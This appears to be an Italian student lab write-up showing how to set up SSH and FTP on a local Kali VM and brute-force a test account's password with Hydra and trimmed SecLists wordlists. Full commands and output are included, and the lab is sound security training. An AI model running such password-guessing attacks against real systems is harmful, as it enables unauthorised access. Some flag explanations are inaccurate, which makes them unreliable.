

# Progetto S6L5 – Authentication cracking con Hydra

## INTRODUZIONE

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

Esercizio:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione http

## PREFAZIONE

La prima parte si vedrà la **Macchina Virtuale Kali Linux ip 192.168.2.100** sulla quale sarà creato un nuovo utente, **test\_user**, con password “**testpass**”. Sarà avviato **SSH** e verificata la sua configurazione.

Sarà testata la connessione ssh dell'utente creato, e sarà configurato Hydra per la sessione di cracking.

Tramite l'installazione di **SECLISTS** scaricheremo una collezione di username e password e utilizzeremo **Hydra** per recuperare quelle giuste.

La seconda parte sarà dedicata alla scelta del servizio da configurare, sarà scelto il protocollo **ftp**, e all'ottenimento dell'autenticazione con **HYDRA**

## 1. ESECUZIONE: Parte prima

Creazione nuovo utente sulla **Macchina Virtuale Kali Linux**:

Da terminale Kali Linux, attraverso il **Terminale** con il comando:

**sudo adduser test\_user** viene creato il nuovo utente, con password **testpass**.

```
(test_user㉿kali)-[~]
```

```
(test_user㉿kali)-[~]
└─$ exit
logout
Connection to 192.168.2.100 closed.
```

## Avvio del SSH e verifica della sua configurazione:

attraverso il comando da Terminale **sudo ssh service start** attivo il servizio ssh, e controllo con **sudo service ssh status** che si attivo

```
(kali㉿kali)-[~]
└─$ sudo service ssh start
[sudo] password for kali:

(kali㉿kali)-[~]
└─$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
  Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
  Active: active (running) since Fri 2026-01-16 05:34:39 EST; 17s ago
    Invocation: dfad0e988a9b4d42b81a6ab301700c15
      Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 23585 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 23588 (sshd)
     Tasks: 1 (limit: 10209)
    Memory: 2.4M (peak: 3.1M)
       CPU: 18ms
      CGroup: /system.slice/ssh.service
              └─23588 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Jan 16 05:34:39 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server ...
Jan 16 05:34:39 kali sshd[23588]: Server listening on 0.0.0.0 port 22.
Jan 16 05:34:39 kali sshd[23588]: Server listening on :: port 22.
Jan 16 05:34:39 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
```

seguendo il path **/etc/ssh/sshd\_config**, con il comando **sudo nano /etc/ssh/sshd\_config** visualizzo il contenuto del file senza apportare alcuna modifica

```
GNU nano 8.7                                         /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6

^G Help          ^O Write Out      ^F Where Is       ^X Cut           ^T Execute        ^C Location       M-U Undo        M-A Set Mark
^X Exit          ^R Read File      ^Y Replace        ^U Paste         ^J Justify        ^V Go To Line    M-E Redo        M-G Copy
```

```
GNU nano 8.7                                         /etc/ssh/sshd_config

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile      .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to "no" here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to "yes" to enable keyboard-interactive authentication. Depending on
# the system's configuration, this may involve passwords, challenge-response,
# one-time passwords or some combination of these and other methods.
# Beware issues with some PAM modules and threads.
KbdInteractiveAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
```

**Manualmente procedo con ssh test\_user@192.168.2.100**

```
(kali㉿kali)-[~]
└─$ ssh test_user@192.168.2.100
test_user@192.168.2.100's password:
Linux kali 6.17.10+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.17.10-1kali1 (2025-12-08) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 16 04:30:46 2026 from 192.168.2.100
(test_user㉿kali)-[~]
└─$ exit
logout
Connection to 192.168.2.100 closed.
```

Inserisco lo username **test\_user** e **testpass** all'interno della cartella xato-usernames.txt, li inserisco sui file usernames.txt e passwords.txt e riduco il numero della lista a 20, nella quale all'interno ci sono rispettivamente **test\_user** e **testpass**.

Normalmente non andrebbe fatto ma il numero delle liste è alto e si necessita di ridurre i tempi di esecuzione.

Avvio Hydra:

**hydra -L usernames.txt -P passwords.txt 192.168.2.100 -t 2 ssh** trovando le credenziali.

**-L usernames.txt** si riferisce alla lista di nomi utenti contenute in username.txt

**-P passwords.txt** si riferisce alla lista di passwords  
**192.168.2.100** è il target

**-t2** sono i tentativi che dovrà fare **hydra**

**-f** finisce la ricerca una volta trovati i risultati giusti

```
(kali㉿kali)-[~]
└─$ hydra -L usernames.txt -P passwords.txt 192.168.2.100 -t 2 -f ssh

hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 09:20:08
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 735 login tries (1:35/p:21), ~368 tries per task
[DATA] attacking ssh://192.168.2.100:22/
[STATUS] 37.00 tries/min, 37 tries in 00:01h, 698 to do in 00:19h, 2 active
[22][ssh] host: 192.168.2.100 login: test_user password: testpass
[STATUS] attack finished for 192.168.2.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 09:22:05
```

Nell'immagine viene esposto il risultato: **22 ssh host:192.168.2.100 login: test\_user password: testpass**

## 2. Esecuzione: parte seconda

Similmente da quanto fatto prima **installo vsftpd dal Terminale Kali Linux** con: **sudo apt install vsftpd**

```
(kali㉿kali)-[~]
└─$ sudo apt install vsftpd
[sudo] password for kali:
vsftpd is already the newest version (3.0.5-0.4).
The following packages were automatically installed and are no longer required:
curlftpfs libavformat01 libfuse2t64 libpocketsphinx3 libradae2-5.0.0t64 libsphinxbase3t64 libvdpau-va-gl1 pocketsphinx-en-us
libavfilter10 libconfig-inifiles-perl libgpgme11t64 libpostproc58 libsimdutf27 libswscale8 linux-image-6.12.38+kali-amd64 python3-xlrld
Use 'sudo apt autoremove' to remove them.

Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 358
```

Lo avvio sempre da Terminale:

**sudo service vsftpd start**

```
(kali㉿kali)-[~]
└─$ sudo service vsftpd start
```

Controllo se sia attivo:

**sudo service vsftpd status**

```
(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-01-16 09:24:45 EST; 13s ago
     Invocation: ad52c0dbd5a6494aa30b122d220e79bf
      Process: 71542 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
     Main PID: 71543 (vsftpd)
        Tasks: 1 (limit: 10209)
       Memory: 948K (peak: 2.2M)
         CPU: 11ms
        CGroup: /system.slice/vsftpd.service
                  └─71543 /usr/sbin/vsftpd /etc/vsftpd.conf

Jan 16 09:24:45 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Jan 16 09:24:45 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

Lo connetto con l'ip **192.168.2.100** e chiudo:

```
(kali㉿kali)-[~]
└─$ ftp 192.168.2.100
Connected to 192.168.2.100.
220 (vsFTPD 3.0.5)
Name (192.168.2.100:kali): test_user
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bye
221 Goodbye.
```

Utilizzo **HYDRA** per ricavare le credenziali:

**hydra -l test\_user -P passwords.txt 192.168.2.100 ftp**

```
(kali㉿kali)-[•]
└─$ hydra -l test_user -P passwords.txt 192.168.2.100 ftp

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 09:27:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21 login tries (l:1/p:21), ~2 tries per task
[DATA] attacking ftp://192.168.2.100:21/
[21][ftp] host: 192.168.2.100  login: test_user  password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 09:27:26
```

Nell'immagine viene rappresentato il risultato:

**21 ftp host:192.168.2.100 login: test\_user password: testpass**